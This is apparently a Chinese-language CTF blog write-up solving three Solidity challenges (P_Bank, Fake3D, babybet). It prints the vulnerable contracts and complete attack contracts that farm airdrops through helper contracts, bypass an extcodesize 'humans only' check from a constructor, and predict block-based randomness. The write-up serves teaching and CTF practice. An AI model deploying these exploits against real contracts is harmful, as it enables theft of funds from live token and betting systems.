Airdrop hunting 部分题解
源码
pragma solidity ^0.4.24;
contract P_Bank
{
mapping (address => uint) public balances;
uint public MinDeposit = 0.1 ether;
Log TransferLog;
event FLAG(string b64email, string slogan);
constructor(address _log) public {
TransferLog = Log(_log);
}
function Ap() public {
if(balances[msg.sender] == 0) {
balances[msg.sender]+=1 ether;
}
}
function Transfer(address to, uint val) public {
if(val > balances[msg.sender]) {
revert();
}
balances[to]+=val;
balances[msg.sender]-=val;
}
function CaptureTheFlag(string b64email) public returns(bool){
require (balances[msg.sender] > 500 ether);
emit FLAG(b64email, "Congratulations to capture the flag!");
}
function Deposit()
public
payable
{
if(msg.value > MinDeposit)
{
balances[msg.sender]+= msg.value;
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
}
}
function CashOut(uint _am) public
{
if(_am<=balances[msg.sender])
{
if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
}
function() public payable{}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
string err = "CashOut";
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
}
📌 目标:成功调用
CaptureTheFlag()
比较简单,注意到空投函数
AP()
,其要求调用者的余额balance小于1ether即可调用,但是如果某人拥有两个账户,那便可以无限取钱了。
攻击合约:
contract Helper {
address hacker;
P_Bank bank;
constructor(address _bank) public {
hacker = msg.sender;
bank = P_Bank(_bank);
}
function attack() public {
bank.Ap();
bank.Transfer(hacker, 1 ether);
}
}
contract Hacker {
P_Bank bank;
Helper helper;
constructor(address _bank) public {
bank = P_Bank(_bank);
helper = new Helper(_bank);
}
function attack() public {
for (uint i; i < 501; i++) {
helper.attack();
}
// CaptureTheFlag() 成功执行之后,默认返回false
require(!bank.CaptureTheFlag(""), "you don't capture...");
}
}
📌 注意:调用
Hacker.attack()
时,需要将gaslimit
调高
攻击成功:
/**
*Submitted for verification at Etherscan.io on 2018-11-27
*/
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract WinnerList{
address owner;
struct Richman{
address who;
uint balance;
}
function note(address _addr, uint _value) public{
Richman rm;
rm.who = _addr;
rm.balance = _value;
}
}
contract Fake3D {
using SafeMath for *;
mapping(address => uint256) public balance;
uint public totalSupply = 10**18;
WinnerList wlist;
event FLAG(string b64email, string slogan);
constructor(address _addr) public{
wlist = WinnerList(_addr);
}
modifier turingTest() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
function transfer(address _to, uint256 _amount) public{
require(balance[msg.sender] >= _amount);
balance[msg.sender] = balance[msg.sender].sub(_amount);
balance[_to] = balance[_to].add(_amount);
}
function airDrop() public turingTest returns (bool) {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < 288){
balance[tx.origin] = balance[tx.origin].add(10);
totalSupply = totalSupply.sub(10);
return true;
}
else
return false;
}
function CaptureTheFlag(string b64email) public{
require (balance[msg.sender] > 8888);
wlist.note(msg.sender,balance[msg.sender]);
emit FLAG(b64email, "Congratulations to capture the flag?");
}
}
📌 目标:成功调用
CaptureTheFlag()
这题嘛,思路不难,就是麻烦。
要想成功调用
CaptureTheFlag()
,调用者的balance
必须大于 8888,而能获取balance
函数为airDrop()
,但是其被一个修饰器限制。修饰器:
modifier turingTest() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; }
修饰器规定,调用者地址的代码大小为
0
,即要求调用者为EOA
账户,但是也不全是,还有一种操作也可以让其代码大小为0
,在构造函数调用被此修饰器的函数时,合约还在初始化,通过extcodesize
获取到的代码大小为0
,这样一来就有路子了。再分析
airDrop()
:function airDrop() public turingTest returns (bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < 288){ balance[tx.origin] = balance[tx.origin].add(10); totalSupply = totalSupply.sub(10); return true; } else return false; }
根据区块链信息,计算出种子,当然,这些全局变量
block.timestamp,block.difficulty,block.coinbase,block.gaslimit,now
,再同一个区块中他们的值是相同的,也就意味着,可以事先计算出种子seed
,即在同一个函数中,可以先计算出种子,再调用此函数,其生成的seed
相同。由于gas不足引起的错误的代码:
contract Hacker { using SafeMath for *; Fake3D fake; constructor(address _fake) public { fake = Fake3D(_fake); uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(address(this))))) / (now)).add (block.number) ))); require((seed - ((seed / 1000) * 1000)) < 288, "the seed bigger than 288, please try again..."); for (uint i; i < 889; i++) { fake.airDrop(); } fake.CaptureTheFlag(""); } }
尽管,我已经将gaslimit设置到了:3000000000
按理来说,按照这个思路,攻击合约已经出来了,但是,由于涉及的balance数目太大,在单笔交易中无法正常执行,所以只能通过多次部署合约获取空投,又因为空投集中发放给
tx.origin
,到该账户的balance
大于8888时,需要tx.origin
亲自去调用CaptureTheFlag()
。
一直部署该合约,直到成功部署十次为止
contract Hacker {
using SafeMath for *;
Fake3D fake;
constructor(address _fake) public {
fake = Fake3D(_fake);
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(address(this))))) / (now)).add
(block.number)
)));
require((seed - ((seed / 1000) * 1000)) < 288, "the seed bigger than 288, please try again...");
for (uint i; i < 90; i++) {
fake.airDrop();
}
}
}
如图:
其实当初的做法还是有点繁琐了,也不知道是不是科技进步了其实是可以一次性完成的,只要成功部署如下合约即可
contract Fake3DHacker {
using SafeMath for *;
Fake3D fake;
constructor(address _fake) public {
fake = Fake3D(_fake);
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
require((seed - ((seed / 1000) * 1000)) < 288, "the result of the calculation is not less than 288");
for(uint i; i < 889; i++) {
fake.airDrop();
}
}
}
源码:
pragma solidity ^0.4.23;
contract babybet {
mapping(address => uint) public balance;
mapping(address => uint) public status;
address owner;
//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
balance[msg.sender]=1000000;
}
//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 1000000);
if (msg.sender!=owner){
balance[msg.sender]=0;}
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
//get_profit
function profit(){
require(status[msg.sender]==0);
balance[msg.sender]+=10;
status[msg.sender]=1;
}
//add money
function () payable{
balance[msg.sender]+=msg.value/1000000000000000000;
}
//bet
function bet(uint num) {
require(balance[msg.sender]>=10);
require(status[msg.sender]<2);
balance[msg.sender]-=10;
uint256 seed = uint256(blockhash(block.number-1));
uint rand = seed % 3;
if (rand == num) {
balance[msg.sender]+=1000;
}
status[msg.sender]=2;
}
//transfer
function transferbalance(address to,uint amount){
require(balance[msg.sender]>=amount);
balance[msg.sender]-=amount;
balance[to]+=amount;
}
}
📌 目标:成功调用
payforflag()
思路大差不差,通过两个合约代码,生成多个
Helper
帮助Hacker
积攒balance
。又因为
rand
是可控的,所以可以提前计算随机数,再根据随机数进行赌博,,,所以啊不要赌博,十赌九输。
攻击方式,部署Hacker
,成功调用2次attack()
,再调用pwn()
。
contract BabyBetHacker {
babybet bet;
constructor(address _bet) public {
bet = babybet(_bet);
}
function attack() public {
uint256 seed = uint256(blockhash(block.number-1));
uint rand = seed % 3;
for (uint i; i < 500; i++) {
new BabyBetHelper(address(bet), rand);
}
}
function pwn() public {
bet.payforflag("BYYQ1030Hacker", "BYYQ");
}
}
contract BabyBetHelper {
babybet bet;
constructor(address _bet, uint answer) public {
bet = babybet(_bet);
bet.profit();
bet.bet(answer);
bet.transferbalance(msg.sender, 1000);
}
}
区块链上的一些信息是具有共性的,比如在同一个函数中调用了较多函数,且这是被调用函数中都涉及到了一些区块信息,比如block.number,now
等,但是只有在一个区块中这些值都是相等的,意味着某些随机数并不随机。。。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!